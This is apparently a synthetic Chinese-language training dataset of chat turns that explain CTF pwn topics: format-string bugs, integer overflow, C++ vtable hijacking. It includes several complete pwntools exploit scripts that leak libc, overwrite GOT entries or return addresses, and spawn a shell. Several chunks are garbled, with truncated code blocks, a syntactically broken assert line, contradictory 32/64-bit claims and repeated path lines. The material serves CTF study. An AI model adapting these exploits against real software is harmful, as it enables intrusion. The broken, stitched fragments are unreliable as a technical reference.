  - `%p`：输出16进制数据，与`%x`基本一样，只是附加了前缀`0x`，在32位下输出4字节，在64位下输出8字节，可通过输出字节的长度来判断目标环境是32位还是64位。
  - `%s`：输出的内容是字符串，即将偏移处指针指向的字符串输出，如`%i$s`表示输出偏移i处地址所指向的字符串，在32位和64位环境下一样，可用于读取GOT表等信息。
  - `%n`：将`%n`之前`printf`已经打印的字符个数赋值给偏移处指针所指向的地址位置，如`%100×10$n`表示将0x64写入偏移10处保存的指针所指向的地址（4字节），而`%$hn`表示写入的地址空间为2字节，`%$hhn`表示写入的地址空间为1字节，`%$lln`表示写入的地址空间为8字节，在32位和64位环境下一样。有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过`%$hn`或`%$hhn`来适时调整。
  - `%n`是通过格式化字符串漏洞改变程序流程的关键方式，而其他格式化字符串参数可用于读取信息或配合`%n`写数据。
+ 常用格式化字符串形式

```plain
%[parameter][flags][field width][.precision][length]type
例如 %2$08hx %.8lf
```

+ `parameter`：`n$` ，获取格式化字符串中的指定第 n 个参数
+ `flags`：在 `width` 设置后指定可以用来作为填充的内容之类的内容
+ `field width`：输出的最小宽度
+ `precision`：输出的最大长度
+ `length`，输出的长度
  - `hh`，输出一个字节
  - `h`，输出一个双字节
+ `type`
  - `d/i`,有符号整数
  - `u`，无符号整数
  - `x/X`,16进制
  - `o`，8进制
  - `s`，所有字节
  - `c`，char类型单个字符
  - `p`，`void *` 型，输出对应变量的值。`printf("%p",a)` 用地址的格式打印变量 `a` 的值，`printf("%p", &a)` 打印变量 `a` 所在的地址。
  - `n`，不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    * `hhn` 写一字节
    * `hn` 写两字节
    * `n` 写四字节
    * `ln` 32 位写四字节，64 位写八字节
    * `lln` 写八字节

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「信息收集」。
资料来源：其它/2024ccb anote/WP.md；主题：2024 CCB anote Writeup；分类：misc_pwn。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 信息收集

程序开启 NX 和 Canary，但没有 PIE：

```text
Arch:    i386-32-little
RELRO:   Partial RELRO
Canary:  found
NX:      enabled
PIE:     disabled, base 0x8048000
```

关键地址如下：

```text
backdoor = 0x80489ce
note 构造函数 sub_8048DFC = 0x8048dfc
show 函数 sub_80489E8 = 0x80489e8
edit 函数 sub_8048A86 = 0x8048a86
```

`backdoor()` 直接执行：

```c
int backdoor() {
    return system("/bin/sh");
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「=============================」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# =============================
p.sendafter("please input:\n", "%p%5$p%7$p%9$p")

elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))

ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))

libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))

stack_addr = int(p.recv(14), 16) - 0xf8
info("stack addr: " + hex(stack_addr))

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它/2024geek-我的空调呢/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它/2024geek-我的空调呢/exp.py`

分类：misc_pwn

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add`
- `dbg`
- `delete`
- `edite`
- `fun`
- `menu`
- `view`

关键常量/偏移样例：
`0xffff`, `0x0000000000052290`, `0x0000000000061C90`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
ia = lambda: io.interactive()
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc = ELF('./libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')

def menu(num):
    sla("<Your chioce>:",str(num).encode())

def add(name,introduce):
    menu(1)
    sa("Your name:",name)
    sa("Introduce:",introduce)

def view(id):
    menu(2)
    sla("Index: ",str(id).encode())

def delete(id):
    menu(3)
    sla("Index: ",str(id).encode())

def edite(id,payload):
    menu(4)
    sla("Index: ",str(id).encode())
    sa("message:",payload)

def fun(address):
    menu(5)
    sla('(such as 0xffff)',str(hex(address)).encode())
    ru("massege:")
    return u64(r(8))

puts_got = elf.got.printf
libc = fun(puts_got)-0x0000000000061C90
lg("libc",libc)

printf = libc + 0x0000000000061C90
system = libc + 0x0000000000052290

edite(-4,p64(0)+p64(printf)+p64(system))
#add 一次，姓名设为 /bin/sh，随后 delete 即可 getshell
add(b'/bin/sh',b'a')
delete(0)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/fmtstr_payload/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/fmtstr_payload/exp_cli.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwncli import *`

关键常量/偏移样例：
`0x804979C`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

fini=0x804979C

payload=fmtstr_payload(4,{fini:elf.sym.main})

r()
sl(payload)

payload=fmtstr_payload(4,{elf.got.printf:elf.got.system})
r()
sl(payload)

r()
sl(b"/bin/sh\x00")

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 例题

>[WUSTCTF 2020]name your dog

- 分析

题目下载：[2020WUSTCTF name your dog.zip](https://www.yuque.com/attachments/yuque/0/2026/zip/28737143/1773505065706-130e079b-369b-44af-ad4f-27acc8c85e02.zip)

checksec 查看程序保护，仅没有`PIE`保护。

[图片: image]

[图片: Pasted image 20250222220210]

ida 反编译分析，查看主函数。

发现主函数调用了`init`以及`vulnerable`。

这里我们可以猜测`init`应该是`setbuf`类的初始化函数，接下来跟进`vulnerable`函数中分析。

[图片: image][图片: image]

这里程序进行了多次循环，然后将`v3`作为参数调用了一个函数`NameWhich`，我们跟进分析。

[图片: image][图片: image]

这里我们分析发现程序存在数组越界漏洞。

第一个`scanf`函数接收整数存到`v2`变量中，第二个`scanf`函数将输入 7 个字节的内容到参数指定的地址。在第二个`scanf`函数中`a1`变量决定了基地址，而`8*v[0]`的内容决定了偏移地址。而其中只有`v[0]`是变量，并且是我们可以决定的。

[图片: image]

之后我们在函数窗口中发现后门函数。

[图片: image]

- 利用思路

`a1`变量是调用`NameWhich`函数时传入的参数`v3`，`v3`是一个字符数组。我们可以通过控制`v2`的值使其地址偏移到返回地址处，然后通过`scanf`函数修改返回地址进行 getshell。

[图片: image]

`v3`变量距离返回地址 56 字节，`56\8=7`。所以我们`v2`变量输入 7 即可。

直接通过数组越界漏洞写返回地址为`shell`函数。

+ exp

```python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def ia() : p.interactive()

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/tools/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc-2.31.so')

sla(b'>', b'-7')
sla(b'plz: ', p32(elf.sym['shell']))

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/cmp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/cmp.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`

函数/封装：
- `main`

训练用代码片段：
```c
#include <stdio.h>

int main() {
    int a = -1;
    unsigned int b = 1;
    if (a < b) {  // 无符号和有符号整数比较，结果不如预期
        printf("a is less than b\n");
    } else {
        printf("a is not less than b\n");
    }
    return 0;
}
```

其它漏洞/整数溢出/cmp.c

其它漏洞/整数溢出/cmp.c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「=============================」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# =============================
p.sendafter("please input:\n", "exit\x00")

p.interactive()
```

由于我们有了**栈上相对地址写原语**，因此可以进一步构造**任意地址写原语**：

[图片: image]

```python
from pwn import *

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「题目分析」。
资料来源：其它/2024das usersys/wp.md；主题：2024das usersys；分类：misc_pwn。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 题目分析

题目为 64 位程序，保护全开。

32 位菜单题，`add` 不能输入内容，`edit` 时可以溢出写 (`0x28 > 0x1c`)，`show` 会泄露堆地址。 由于是 C++ 题，申请的堆块开头存在一个虚表，在 edit 完成时调用，可以通过溢出写覆盖虚表。 通过 `show` 泄露堆地址后，可以在堆上写一个虚表，并在其中写上程序中的后门地址，然后调用 `edit` 即可拿 shell。

[图片: Pasted image 20250606172724]

题目给了后门函数：

[图片: image-20260207194534184]

程序在初始化以后，推测初始化了几个数据结构，继续跟踪到主逻辑，不能以root的身份登录，

可以以admin或guest的身份登录。在判断身份之后，有两个间接调用。

[图片: img]

查阅初始化过程，发现是调用了写在结构体头上的函数表，即函数虚表。继续跟踪，admin可以读取所有guest的名字，

或者清除所有记录。里面有两个行为相反的，针对`guest`对象的函数，推测clear对应写入，show对应读取。

打开的文件都是`Guest_Data`。

[图片: img]

还剩一个guest的虚表，对应的函数只有一个功能，就是尝试留下guest的名字。在函数起始时读取了文件，

读出了用户数量，如果**大于等于5**就无法留下名字，然后在输入时，再次读取了文件同步数据。

然后就将数据写入了`this->guests[this->logcount]`的位置，**过程中没有大于等于5的检查**。

[图片: img]

由此我们可以简单地考虑，如果能在发起1个请求后写入4个名字后进入输入名字确认环节，同时再起一个进程发送请求，

此时进入输入名字确认环节，我们再输入1个名字，就可以绕过大于等于5的检查，使得`logcount`成功变成5。

接着我们给另一个进程输入名字时，就可以劫持到`logcount`，并使其变成任意值

[图片: img]

那么有了任意值写入以后，我们就可以做任意地址写。观察程序，发现存在后门函数，也是root的虚表中的函数，

观察程序内存布局，`admin`对象是放在`guest`对象之后的，因此可以修改`logcount`，写入admin的虚表为root的虚表

[图片: img]

实际操作步骤：先创建一个连接，输入4个名字，然后再次进入输入guest name状态；创建第二个连接，进入输入状态；

创建第三个连接，进入输入状态；接着第一个连接输入任意名字，扩展`logcount`为5后退出；

此时第二个连接写入`\x0a`到`logcount`后退出，随后`logcount`增加为`0xb`；最后第三个连接写入`\x50`，


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「pwntools生成payload」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### pwntools生成payload

pwntools集成了一个可以自动生成格式化字符串任意地址覆盖的工具。

我们较常使用的功能是

```python
fmtstr_payload(offset, {address:data}, numbwritten=0, write_size='byte')
```

+ `offset`表示格式化字符串的偏移
+ `address`表示需要覆盖的地址
+ `data`表示覆盖为的值
+ `numbwritten`表示已经输出的字符个数
+ `write_size`表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。

注意：部分题目格式化字符串漏洞会限制输入长度，导致pwntools生成的有些payload会失效。这样我们就只能通过手动来构造格式化字符串缩减长度了。

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/axb_2019_fmt32/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/axb_2019_fmt32/exp.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwncli import *`

关键常量/偏移样例：
`0x100`

训练用代码片段：
```python
#!/usr/bin/env python3

from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("/buu/32/libc-2.23.so")

payload=b"a"+p32(elf.got.printf)+b"%8$s"
payload+=b"a"*(0x100-len(payload))
ru("me:")
s(payload)
ru(b"Repeater:")
leak=u32(ru(b"\xf7")[-4:].ljust(4,b"\x00"))
print(hex(leak))
libc_base=leak-libc.sym.printf
print(hex(libc_base))
sys=libc_base+libc.sym.system
print(hex(sys))

payload=b"a"+fmtstr_payload(8,{elf.got.printf:sys})
payload+=b"a"*(0x100-len(payload))
ru("me:")
s(payload)
payload=b"/bin/sh\x00"
payload+=b"a"*(0x100-len(payload))
ru("me:")
s(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「下界溢出」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 下界溢出

> 极客大挑战-买黑吗喽了吗？

+ 分析

查保护发现，仅没有栈溢出保护。

[图片: image]

分析主函数，是一个菜单题，但不是堆题。

[图片: image][图片: image]

分析`shop`函数，这里接收一个整数输入。如果输入为`1`并且`number`不为负数和`0`则将`Balance`减去 32，并将`number`减 1。前面`main`函数将`Balance`初始化为 256。

[图片: image][图片: image]

这里的`Balance`是一个全局变量。

[图片: image][图片: image]

这里的`number`为 8，也就是我们可以执行这个部分代码 8 次。

[图片: image][图片: image]

接下来我们分析`view`函数。

这里有个关键点，只要`Balance`大于 0x100 并且`FALG`变量不为零，则向`str1`写入 2 字节数据。这样就可以满足下面的条件判断从而让程序输出`Balance`的地址。而要让`Balance`满足这个条件就需要我们的整数溢出漏洞了。如果我们让`Balance-=32`执行 8 次，`Balance`就会变成负数。而在下面代码中做了一个类型转换，将`Balance`转换为无符号数。这时`Balance`就会大于 0x100。然后我们就可以得到`Balance`这个全局变量的地址，从而绕过`PIE`保护。

[图片: image][图片: image]

`Write`函数存在栈溢出漏洞，到了这个地方就是基础 ROP 了。

[图片: image][图片: image]

+ exp

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

off=88
for i in range(12):
    sla("choice:\n",b"1")
    sla("choice:\n",b"1")

sla("choice:\n",b"1")
sla("choice:\n",b"2")
sla("choice:\n",b"2")
s(b"%p")
ru("And your Balance :")
b=ru("90").strip()
b=b.decode()
b=b[2:]
b=int(b,16)
print("jz",hex(b))
base=b-0x4090
print("base",hex(base))
rax=0x00000000000011f7+base
rdi=0x00000000000011f1+base
rdx=0x00000000000011f5+base
rsi=0x00000000000011f3+base
ret=0x000000000000101a+base
syscall=0x00000000000011ee+base
main=elf.sym.main+base
puts=elf.plt.puts+base
puts_got=elf.got["puts"]+base
sla("choice:\n",b"3")

print("rdi",hex(rdi))
print("puts_got",hex(puts_got))
payload=b'a'*88+p64(rdi)+p64(puts_got)+p64(puts)+p64(main)
sla("feedback:\n",payload)
ru(b'Thanks for your feedback!We`ll do it better!\n')
p=u64(r(6)+b'\x00'*2)
print("libc",hex(p))
libc_base=p-libc.sym["puts"]
sys=libc_base+libc.sym.system
sh=next(libc.search("/bin/sh\x00"))+libc_base
print("sh",hex(sh))
print("sys",hex(sys))
print("tow")

sla("choice:\n",b"3")
payload=b'a'*88+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sla("feedback:\n",payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/axb_2019_fmt32/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/axb_2019_fmt32/exp_cli.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwncli import *`

关键常量/偏移样例：
`0x100`

训练用代码片段：
```python
#!/usr/bin/env python3

from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("/buu/32/libc-2.23.so")

payload=b"a"+p32(elf.got.puts)+b"-%8$p"
payload+=b"a"*(0x100-len(payload))
ru("me:")
s(payload)
ru(b"Repeater:")
leak=u32(ru(b"\xf7")[-4:].ljust(4,b"\x00"))
print(hex(leak))
libc_base=leak-libc.sym.printf
print(hex(libc_base))
sys=libc_base+libc.sym.system
print(hex(sys))

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「未限制范围」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 未限制范围

这种漏洞最常见的就是导致上界溢出或者下界溢出。

本例中如果输入两个非常大的数进行相加，就会导致上界溢出回绕。

```c
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    unsigned int num1, num2, result;

    printf("Enter first unsigned integer: ");
    scanf("%u", &num1);

    printf("Enter second unsigned integer: ");
    scanf("%u", &num2);

    result = num1 + num2;

    printf("The result of the addition is: %u\n", result);

    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/down.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/down.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`

函数/封装：
- `main`

训练用代码片段：
```c
#include <stdio.h>

int main() {
    int min_int = -2147483648;
    printf("Min int: %d\n", min_int);
    int underflow = min_int - 1;  // 发生下溢
    printf("After underflow: %d\n", underflow);
    return 0;
}
```

其它漏洞/整数溢出/down.c

其它漏洞/整数溢出/down.c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「非栈上格式化字符串通用解法」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 非栈上格式化字符串通用解法

考虑构造任意地址写原理。由于格式化字符串在堆上，我们不能直接在栈上布置要写入的地址，因此需要借助栈上的 ebp 链进行构造。

我们发现只要栈上存在一个有 **2 跳**的 ebp链就可以构**造栈上相对地址写原语**：

[图片: image]

```python
from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「虚函数利用」。
资料来源：其它/2024das usersys/wp.md；主题：2024das usersys；分类：misc_pwn。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 虚函数利用

- `thiscall`
- 虚表
- 子类构造

C++ 多态通过虚函数表实现，对象内存首地址存放`vptr`（指向虚函数表）。若能篡改`vptr`，可控制程序跳转到任意地址。

抛开面向对象不谈，仅仅关注漏洞利用，我们可以简单地把虚函数和虚表理解为以下几个 要点。

1. C++类的成员函数在声明时，若使用关键字`virtual`进行修饰，则被称为虚函数。
2. 一个类中可能有很多个虚函数。
3. 虚函数的入口地址被统一保存在虚表（Vtable）中。
4. 对象在使用虚函数时，先通过虚表指针找到虚表，然后从虚表中取出最终的函数入口 地址进行调用。
5. 虚表指针保存在对象的内存空间中，紧接着虚表指针的是其他成员变量。
6. 虚函数只有通过对象指针的引用才能显示出其动态调用的特性。

[图片: Pasted image 20250509132127]

如果对象中的成员变量发生了溢出，有机会修改对象中的虚表指针或修改虚表中的虚函数指针，那么在程序调用虚函数时就会跑去执行shellcode。 下面这段程序用于演示这种漏洞利用方式。

对这段程序需要说明如下。
（1）虚表指针位于成员变量char buf[200]之前，程序中通过p_vtable=overflow.buf-4定位到 这个指针。
（2）修改虚表指针指向缓冲区的0x004088CC处。
（3）程序执行到p->test()时，将按照伪造的虚函数指针去0x004088CC寻找虚表，这里正 好是缓冲区里shellcode的末尾。在这里填上shellcode的起始位置0x0040881C作为伪造的虚函 数入口地址，程序将最终跳去执行shellcode。

由于虚表指针位于成员变量之前，溢出只能向后覆盖数据，所以很可惜这种利用方式在“栈 溢出”场景下有一定局限性。

当然，如果内存中存在多个对象且能够溢出到下一个对象空间中去，“连续性覆盖”还是 有攻击的机会的，如图6.3.4所示。 对于DWORD SHOOT的利用场景，攻击虚函数会更容易些。修改虚表指针或直接修改虚 函数指针都是不错的选择。 说到这里，大家应该明白所谓的虚函数、面向对象在指令层次上和C语言是没有质的区别 的，以漏洞利用的眼光来看这些东西，其实都是函数指针。

[图片: Pasted image 20250509132309]


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「=============================」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# =============================
def arbitrary_offset_write(offset, value):
    info("arbitrary_offset_write({}, {})".format(hex(offset), hex(value)))
    assert 0 > (16 * 0)) & 0xFFFF)
arbitrary_offset_write(8 + 2, (one_gadget >> (16 * 1)) & 0xFFFF)

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「上界溢出」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 上界溢出

接下来我们修改一下上面的代码，将所有变量都加 1。

+ 代码

```c
#include <stdio.h>

void main()
{
  char sa = 0x7f;
  short sb = 0x7fff;
  int sc = 0x7fffffff;
  long sd = 0x7fffffffffffffff;

  unsigned char ua = 0xff;
  unsigned short ub = 0xffff;
  unsigned int uc = 0xffffffff;
  unsigned long ud = 0xffffffffffffffff;

  sa+=1;
  sb+=1;
  sc+=1;
  sd+=1;
  ua+=1;
  ub+=1;
  uc+=1;
  ud+=1;

  printf("signed   char  0x%x  : %d\n", sa, sa);
  printf("signed   short 0x%x  : %d\n", sb, sb);
  printf("signed   int   0x%x  : %d\n", sc, sc);
  printf("signed   long  0x%lx : %ld\n", sd, sd);

  printf("unsigned char  0x%x  : %u\n", ua, ua);
  printf("unsigned short 0x%x  : %u\n", ub, ub);
  printf("unsigned int   0x%x  : %u\n", uc, uc);
  printf("unsigned long  0x%lx : %lu\n", ud, ud);
}
```

+ 运行结果

查看运行结果，每个数据类型都从最大值变成了最小值，这样我们就称它产生了上界溢出。

```c
signed   char  0xffffff80  : -128
signed   short 0xffff8000  : -32768
signed   int   0x80000000  : -2147483648
signed   long  0x8000000000000000 : -9223372036854775808
unsigned char  0x0  : 0
unsigned short 0x0  : 0
unsigned int   0x0  : 0
unsigned long  0x0 : 0
```

之所以称为上界溢出，是因为它们都是因为数据类型的最大值增加 1 后，导致结果回绕到数据类型的最小值。这种溢出是由于数据类型所能表示的最大值达到了上限，从而 “溢出” 到数据类型的最小值。

这种情况的发生与计算机底层的表示方式以及数据类型的特性有关。因为计算机底层指令是不区分有符号和无符号的，数据都是以二进制形式存在（编译器的层面才对有符号和无符号进行区分，产生不同的汇编指令）。

我们用一张滴水逆向的神图来解释。

以上述代码中的有符号`char`型和无符号`char`型为例，在上述代码中有符号的`char`型和无符号的`char`的最大值分别是`0x7F`和`0xFF`，都是正数。由于都加了 1 ，所以有符号的`int`型由正数溢出为了负数，无符号的`char`型由最大值溢出为了最小值。

[图片: 整数溢出.drawio]

上界溢出有两种情况：一种是`0x7F + 1`，另一种是`0xFF + 1`。

+ `0x7F + 1 = 0x80`

第一钟仅针对有符号数有作用，这是因为在无符号类型中`0x80`表示的是`128`，所以`0x7f + 1`就相当于`127 + 1 = 128`。因此这种上界溢出对无符号整型没有什么影响。

但是在有符号整型中，`0x7f`表示的是`127`，但是`0x80`表示的是`-128`。简单来说就是就是在有符号整型中`127 + 1 = -128`，所以`0x7F + 1`在有符号数中从正数溢出为了负数。

+ `0xFF + 1 = 0x00`

第二种情况仅针对无符号数有用。这是因为在无符号`char`型中，数值的范围是从`0`到`255`，因此`0xFF + 1`会导致溢出回绕到`0x00`。

而有符号数的`0xFF`表示`-1`，所以`0xFF + 1 = 0x00`就等于`-1 + 1 = 0`。所以`0xFF + 1`对于有符号数来说并没有产生异常。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「进入交互」。
